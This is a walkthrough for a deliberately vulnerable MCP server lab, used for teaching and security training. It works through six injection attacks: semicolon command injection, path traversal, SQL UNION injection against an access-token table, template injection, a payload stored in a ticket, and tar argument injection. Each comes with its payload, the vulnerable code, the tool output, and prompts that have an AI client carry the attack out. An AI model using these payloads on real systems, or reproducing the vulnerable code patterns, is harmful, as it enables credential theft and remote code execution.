MCP05 - Command Injection & Execution

In MCP04 somebody else's code shipped. Here your own code runs somebody else's command.

Michael Scott shouting. Caption: I DECLARE INPUT UNSANITISED!

What command injection is

Command injection is user input reaching an interpreter as code instead of data.

The tool runs this, with your input in place of {path}:

tail -n 50 {path}
tail -n 50 api.log          returns the last 50 lines of the log
tail -n 50 api.log;whoami   returns the last 50 lines, and execute whoami command

Lab setup

setting up MCP Server

git clone https://github.com/truststrikelabs/BrokenMCP.git
cd BrokenMCP
pip3 install -r requirements.txt --break-system-packages

Start Web UI and leave it running:

python3 gui/run.py

Open http://127.0.0.1:8410, pick MCP05 from the sidebar, and press Start lab. That serves:

Server ID:    ops_mcp
MCP endpoint: http://127.0.0.1:8404/mcp

setting up MCP client

npx @modelcontextprotocol/inspector

Inspector Configuration

Add server
Server ID: ops_mcp
Transport: streamable-http
URL: http://127.0.0.1:8404/mcp

claude

claude mcp add -s project --transport http ops_mcp http://127.0.0.1:8404/mcp

codex

codex mcp add ops_mcp --url http://127.0.0.1:8404/mcp

Restart claude/codex chat windows for mcp to load.


Lab background

Nobody at BrokenMCP Corp has SSH access to production. That was the security win of the year.

Instead there is a console. You tell it which log to tail, which report to read, which customer to look up, and it runs the command for you. It is the safe way to touch production.

ops_mcp is that console.

Who you are

You are ops-assistant, acting as dozy.

Tools > my_access
{
  "agent": "ops-assistant",
  "account": "dozy",
  "role": "On-call Engineer",
  "task": "investigate payments-api errors since the 1 August deploy",
  "shell": "not available. Commands run through this tool.",
  "sanitising": "input is checked against a denylist",
  "note": "There is a control. It is a denylist, and it is checked before anything else."
}

sanitising: input is checked against a denylist. Remember that line. There is a control, it runs before anything else, and it is a list of things to reject.


1. The Semicolon

Tail a payments-api log and find way to get content of /srv/ops/config/ops.toml

Vulnerable Code

def build_shell_command(service: str, lines: int) -> str:
    """The string tail_log would hand to a shell. Built by concatenation, which is the bug."""
    return f"tail -n {lines} {LOGS_DIR}/{service}.log"

Before that runs, the denylist does. Probe it and it tells you what it caught:

Tools > tail_log    service = payments-api && whoami
{
  "status": "rejected",
  "message": "Rejected: the value contains '&&'",
  "blocked_token": "&&",
  "note": "The check is a denylist. It rejects what is on the list."
}

|, backticks, $(, and > all come back the same way. Somebody thought hard about this list. Keep going.

Lab Walkthrough

Using MCP Inspector:

Tools > list_services
Tools > tail_log    service = payments-api && whoami
Tools > tail_log    service = payments-api; cat /srv/ops/config/ops.toml #

Using AI prompt:

ShowHide
Call list_services, then tail the payments-api log.
Try a few separators and tell me which ones the tool refuses.

Response

Tools > tail_log    service = payments-api; cat /srv/ops/config/ops.toml #
{
  "service": "payments-api; cat /srv/ops/config/ops.toml #",
  "command_built": "tail -n 50 /srv/logs/payments-api; cat /srv/ops/config/ops.toml #.log",
  "commands_run": 2,
  "output": [
    "2026-08-02T09:14:02Z INFO  request id=req_8841 status=200",
    "2026-08-02T09:14:19Z ERROR upstream timeout after 30000ms",
    "2026-08-02T09:15:03Z ERROR upstream timeout after 30000ms",
    "2026-08-02T09:15:44Z WARN  retry budget exhausted for checkout-web"
  ],
  "extra_output": "console_token = \"ops_live_7f3a2c91d4e86b05af23c7910b8d4e6f\"",
  "audit_reference": "FLAG{shell_metachar_a1b2c3d4e5}"
}

The denylist blocks &&, ||, |, backticks, $(, >>, > and <. It does not block ;. So tail ran, then cat /srv/ops/config/ops.toml ran, and its output is in extra_output.


2. Path Traversal

Read report inc-2291.md and see if you can also read config/ops.toml

Vulnerable Code

def resolve_report_path(user_path: str) -> str:
    return posixpath.normpath(f"{REPORTS_DIR}/{user_path}")

user_path comes from the caller. Nothing checks it stays in the reports folder.

inc-2291.md          ->  /srv/ops/reports/inc-2291.md
../config/ops.toml   ->  /srv/ops/config/ops.toml

Lab Walkthrough

Using MCP Inspector:

Tools > list_reports
Tools > read_report    path = inc-2291.md
Tools > read_report    path = ../config/ops.toml

Using AI prompt:

ShowHide
Call list_reports and note the reports directory.
Then read the console config at /srv/ops/config/ops.toml through the reports tool.

Response

A normal report reads fine:

Tools > read_report    path = inc-2291.md
{
  "requested": "inc-2291.md",
  "resolved_to": "/srv/ops/reports/inc-2291.md",
  "base_dir": "/srv/ops/reports",
  "content": "# INC-2291\n\nA customer API key was found in a public repository.\nClosed 2026-02-03. See the keys service for the remediation record.\n"
}

Same tool, with ../ in front:

Tools > read_report    path = ../config/ops.toml
{
  "requested": "../config/ops.toml",
  "resolved_to": "/srv/ops/config/ops.toml",
  "base_dir": "/srv/ops/reports",
  "output": "console_token = \"ops_live_7f3a2c91d4e86b05af23c7910b8d4e6f\"",
  "audit_reference": "FLAG{path_traversal_a1b2c3d4e5}"
}

3. SQL Injection

Search for any customer and enumerate the database schema. Goal is to read data from access_token table

Vulnerable Code

def search_interpolated(term: str) -> list[list[Any]]:
    sql = f"SELECT name, plan, email FROM customers WHERE name LIKE '%{term}%'"
    with closing(get_connection()) as connection:
        return [list(row) for row in connection.execute(sql).fetchall()]

The tool is meant to search the customers table.

but it builds SQL query:

WHERE name LIKE '%{term}%'

The database also contains access_tokens, not just customers.

Because all tables are in the same database, an injected search can read data from access_token.

First, what is in the database:

Tools > describe_schema
{
  "count": 3,
  "tables": [
    { "table": "access_tokens", "columns": ["id", "customer", "token", "scope"], "rows": 3 },
    { "table": "customers", "columns": ["id", "name", "plan", "email"], "rows": 3 },
    { "table": "tickets", "columns": ["ticket_id", "customer", "subject", "affected_service", "filed", "status"], "rows": 3 }
  ],
  "queried_by_search": "customers",
  "note": "search_customers reads one of these tables. The others are still in the file."
}

Lab Walkthrough

Using MCP Inspector:

Tools > describe_schema
Tools > search_customers    name = Acme
Tools > search_customers    name = x' UNION SELECT customer, token, scope FROM access_tokens --

Using AI prompt:

ShowHide
Call describe_schema. Search for a customer normally, then search in a way
that returns rows from a table the search does not read.

Response

A normal search:

Tools > search_customers    name = Acme
{
  "term": "Acme",
  "sql_built": "SELECT name, plan, email FROM customers WHERE name LIKE '%Acme%'",
  "count": 1,
  "results": [
    ["Acme Freight", "growth", "[email protected]"]
  ]
}

Same tool, with a quote in the term:

Tools > search_customers    name = x' UNION SELECT customer, token, scope FROM access_tokens --
{
  "term": "x' UNION SELECT customer, token, scope FROM access_tokens --",
  "sql_built": "SELECT name, plan, email FROM customers WHERE name LIKE '%x' UNION SELECT customer, token, scope FROM access_tokens --%'",
  "count": 3,
  "results": [
    ["Acme Freight",     "ops_live_9b0e7734c85a10df46b2e97035ca8d61", "read:logs write:tickets"],
    ["Northwind Health", "ops_live_c41f8a2d93b7e50162fa8d4c37e9b021", "read:logs"],
    ["Vertex Robotics",  "ops_live_2ad55e10b7c4938ef2016da5c48b7f39", "read:logs"]
  ],
  "rows_if_bound": 0,
  "audit_reference": "FLAG{sql_injection_a1b2c3d4e5}"
}

4. The Template

Render a summary with your own body and check whether the tool evaluates it.

Vulnerable Code

    rendered, resolved = sandbox.render(source, context)

source is the body you sent.

The renderer evaluates whatever is inside {{ }} instead of printing it.

Send {{ 7*7 }} and see which one comes back.

{{ 7*7 }}   printed     ->  the tool is safe
{{ 7*7 }}   evaluated   ->  49

Lab Walkthrough

Using MCP Inspector:

Tools > list_templates
Tools > render_summary    body = {{ 7*7 }}
Tools > render_summary    body = Console token is {{ console.token }}, rotated {{ console.token_rotated }}

Using AI prompt:

ShowHide
Call list_templates, then render a summary with a body of your own.
Send an arithmetic expression first and tell me what comes back.

Response

The probe:

Tools > render_summary    body = {{ 7*7 }}
{
  "template": "inline",
  "rendered": "49",
  "resolved_expressions": ["7*7"]
}

49 came back, so the body is evaluated. Now name something instead of a number:

Tools > render_summary    body = Console token is {{ console.token }}, rotated {{ console.token_rotated }}
{
  "template": "inline",
  "rendered": "Console token is ops_live_7f3a2c91d4e86b05af23c7910b8d4e6f, rotated never",
  "resolved_expressions": ["console.token", "console.token_rotated"],
  "audit_reference": "FLAG{template_injection_a1b2c3d4e5}"
}

console is the console's own config, and it holds the token.


5. It Came From a Ticket

Investigate ticket TK-3312.

Vulnerable Code

    tailed = _tail(ticket["affected_service"], 50, origin="ticket")

affected_service comes from the ticket. A customer typed it.

Lab Walkthrough

Using MCP Inspector:

Tools > list_tickets
Resources > ticket://ops/TK-3312
Tools > investigate_ticket    ticket_id = TK-3312

Using AI prompt:

ShowHide
Read every escalated ticket with ticket://ops/{ticket_id}, including every field
the customer filled in. Then investigate TK-3312.

Response

The ticket, as Acme Freight filed it:

Resources > ticket://ops/TK-3312
{
  "ticket_id": "TK-3312",
  "customer": "Acme Freight",
  "subject": "Checkout fails intermittently after the 1 August deploy",
  "affected_service": "payments-api; cat /etc/passwd #",
  "filed": "2026-08-01",
  "status": "escalated",
  "note": "affected_service is customer-supplied and stored verbatim."
}

Then investigate it, which is the correct thing to do with an escalated ticket:

Tools > investigate_ticket    ticket_id = TK-3312
{
  "ticket": "TK-3312",
  "customer": "Acme Freight",
  "subject": "Checkout fails intermittently after the 1 August deploy",
  "investigated_service": "payments-api; cat /etc/passwd #",
  "command_built": "tail -n 50 /srv/logs/payments-api; cat /etc/passwd #.log",
  "commands_run": 2,
  "output": [
    "2026-08-02T09:14:02Z INFO  request id=req_8841 status=200",
    "2026-08-02T09:14:19Z ERROR upstream timeout after 30000ms",
    "2026-08-02T09:15:03Z ERROR upstream timeout after 30000ms",
    "2026-08-02T09:15:44Z WARN  retry budget exhausted for checkout-web"
  ],
  "extra_output": "root:x:0:0:root:/root:/usr/sbin/nologin",
  "payload_from": "the tickets table, typed by a customer on 2026-08-01",
  "audit_reference": "FLAG{indirect_payload_a1b2c3d4e5}"
}

This is still command injection, but the payload did not come from our current input.

The dangerous string was already stored in the ticket:

payments-api; cat /etc/passwd

So the shell ran two commands:

tail -n 50 /srv/logs/payments-api
cat /etc/passwd

6. Argument Injection

Archive a log path in a way that makes tar do something other than archive it.

Vulnerable Code

def build_tar_argv(archive: str, path: str) -> list[str]:
    return ["tar", "-czf", archive, path]

The tool is meant to archive a folder.

It builds this command:

tar -czf /srv/archive/logs.tgz {path}

You control {path}.

tar reads any value starting with a dash as an option, not as a folder name.

{path} = /srv/logs
tar archives the folder

{path} = --checkpoint-action=exec=sh -c "cat /srv/ops/config/ops.toml"
tar runs sh instead

The console documents what it wraps:

Resources > manual://ops/tar
{
  "command": "tar",
  "used_by": "archive_logs",
  "invoked_as": ["tar", "-czf", "/srv/archive/logs.tgz", "<path>"],
  "note": "tar reads any argument beginning with a dash as an option, wherever it appears. Options are only stopped by a -- separator, which this console does not pass.",
  "options": {
    "--checkpoint": "sets how often tar reports progress",
    "--checkpoint-action": "runs an action at each checkpoint, including exec=",
    "--to-command": "pipes each extracted file into a command",
    "--use-compress-program": "runs the named program to compress"
  }
}

Lab Walkthrough

Using MCP Inspector:

Resources > manual://ops/tar
Tools > archive_logs    path = /srv/logs
Tools > archive_logs    path = --checkpoint-action=exec=sh -c "cat /srv/ops/config/ops.toml"

Using AI prompt:

ShowHide
Read manual://ops/tar. Archive the log directory, then archive a path that tar
will not treat as a path, and tell me how it was read.

Response

A real path archives fine:

Tools > archive_logs    path = /srv/logs
{
  "archive": "/srv/archive/logs.tgz",
  "argv": ["tar", "-czf", "/srv/archive/logs.tgz", "/srv/logs"],
  "shell": false,
  "note": "No shell is involved. The arguments are passed as a list.",
  "read_as": "path",
  "archived": [
    "/srv/logs/checkout-web.log",
    "/srv/logs/infra-manifests.log",
    "/srv/logs/payments-api.log"
  ]
}

Same tool, with a value starting with a dash:

Tools > archive_logs    path = --checkpoint-action=exec=sh -c "cat /srv/ops/config/ops.toml"
{
  "archive": "/srv/archive/logs.tgz",
  "argv": ["tar", "-czf", "/srv/archive/logs.tgz", "--checkpoint-action=exec=sh -c \"cat /srv/ops/config/ops.toml\""],
  "shell": false,
  "note": "No shell is involved. The arguments are passed as a list.",
  "read_as": "option",
  "option": "--checkpoint-action",
  "option_does": "runs an action at each checkpoint, including exec=",
  "would_execute": "sh -c \"cat /srv/ops/config/ops.toml\"",
  "output_if_run": "console_token = \"ops_live_7f3a2c91d4e86b05af23c7910b8d4e6f\"",
  "impact": "remote code execution",
  "audit_reference": "FLAG{argument_injection_a1b2c3d4e5}"
}

Reference

MCP05 Command Injection Remote Code Execution